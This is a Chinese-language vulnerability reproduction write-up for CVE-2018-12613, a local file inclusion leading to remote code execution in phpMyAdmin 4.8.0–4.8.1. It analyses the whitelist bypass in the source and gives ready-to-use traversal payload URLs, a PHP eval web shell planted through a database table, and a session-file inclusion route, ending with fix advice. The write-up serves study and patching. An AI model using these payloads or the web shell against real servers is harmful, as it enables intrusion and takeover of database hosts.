天天看點

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

0x01 了解本地檔案包含

LFI(本地檔案包含),是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動态包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導緻任意檔案讀取或者任意指令執行。

0x02 了解遠端代碼執行

RCE(遠端代碼執行),遠端指令執行漏洞,使用者通過浏覽器送出執行指令,由于伺服器端沒有針對執行函數做過濾,導緻在沒有指定絕對路徑的情況下就執行指令,可能會允許攻擊者通過改變 $PATH 或程式執行環境的其他方面來執行一個惡意構造的代碼。

0x03 漏洞影響版本

  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1

0x04 了解PHPmyadmin

phpMyAdmin是phpMyAdmin團隊開發的一套免費的、基于Web的MySQL資料庫管理工具。該工具能夠建立和删除資料庫,建立、删除、修改資料庫表,執行SQL腳本指令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻擊者可利用該漏洞包含(檢視并可能執行)伺服器上的檔案。

0x05 漏洞起因

index.php,61行

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

這裡的

target

可以直接傳值輸入,我們可以傳入一個本地檔案路徑去讓其包含,就會造成LFI漏洞。

要想成功包含

target

,需要滿足五個條件:

  • 非空
  • 是字元串
  • 不以

    index

    開頭
  • 不在黑名單

    target_blacklist

  • 符合函數

    checkPageValidity

    的驗證

    接下來跟進

    checkPageValidity

    函數

    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行

    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現
    可以看到,要想使該函數傳回

    true

    ,包含的檔案必須包含在白名單

    $whitelist

    中,

    下面是白名單

    $whitelist

    的内容:

    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行

    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

    是以隻要包含其中之一即可。

    第一個傳回

    true

    的地方,

    page

    參數未做任何修飾,直接驗證是否在白名單

    whitelist

    中,無法利用
    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現
    第二個傳回

    true

    的地方,
    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現
    函數mb_substr說明
    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現
    函數mb_strpos說明
    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現
    即判斷

    ?

    後面的字元串是否滿足白名單,那麼我們是否可以利用跨路徑來包含檔案呢?比如

    xxx.php?/../../../

    ,(這裡的

    xxx.php

    當然指的就是上面提到的白名單

    $whitelist

    的内容),回答是不能的,因為在PHP中會把

    ?

    後面的内容作為檔案

    xxx.php

    中的參數,是以不能繞過。

    第三個傳回

    true

    的地方,
    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現
    與第二處的差別就是多了

    urldecode

    函數,問題就出在這裡了。

    上面提到的導緻不能繞過白名單的原因就是

    的緣故,是以這裡用url全編碼方式對

    進行編碼就可以繞過。

    payload:

    http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini

    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

    include $_REQUEST[‘target’];

    就變成

    include ‘export.php%3f/../../../../../../../../../windows/system.ini'

0x06 利用方式

0x01 利用資料庫建立shell

測試發現,如果把WebShell當做資料表的字段值是可以完美的寫入到資料庫檔案當中的。

登入phpmyadmin,在test資料庫建立一個資料表,字段為一句話木馬:

<?php @eval($_GET['s']);?>
           

儲存。

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

查詢生成檔案的絕對路徑

show variables like '%datadir%';

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

檢視生成的

.frm

檔案,shell已經成功寫入

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

利用本地檔案包含去包含

/bin/mysql/data/test/shell.frm

檔案即可RCE。

payload:

http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm

s

為一句話木馬的連接配接密碼,

可以看到,RCE已經成功。

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

0x02 利用session檔案建立shell

執行sql語句,檢視session

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

生成的session檔案

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

執行payload:

http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k

,成功執行

CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

0x07 修複建議

  1. 更新版本;
  2. checkPageValidity

    函數傳回

    false

    index.php,59
    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
    CVE-2018-12613 --- 本地檔案包含造成遠端代碼執行漏洞複現

0x08 參考文章

  1. https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
  2. http://www.hetianlab.com/expc.do?ce=d223c7ad-cb9a-461d-bf5c-9ebd4a2f7614

繼續閱讀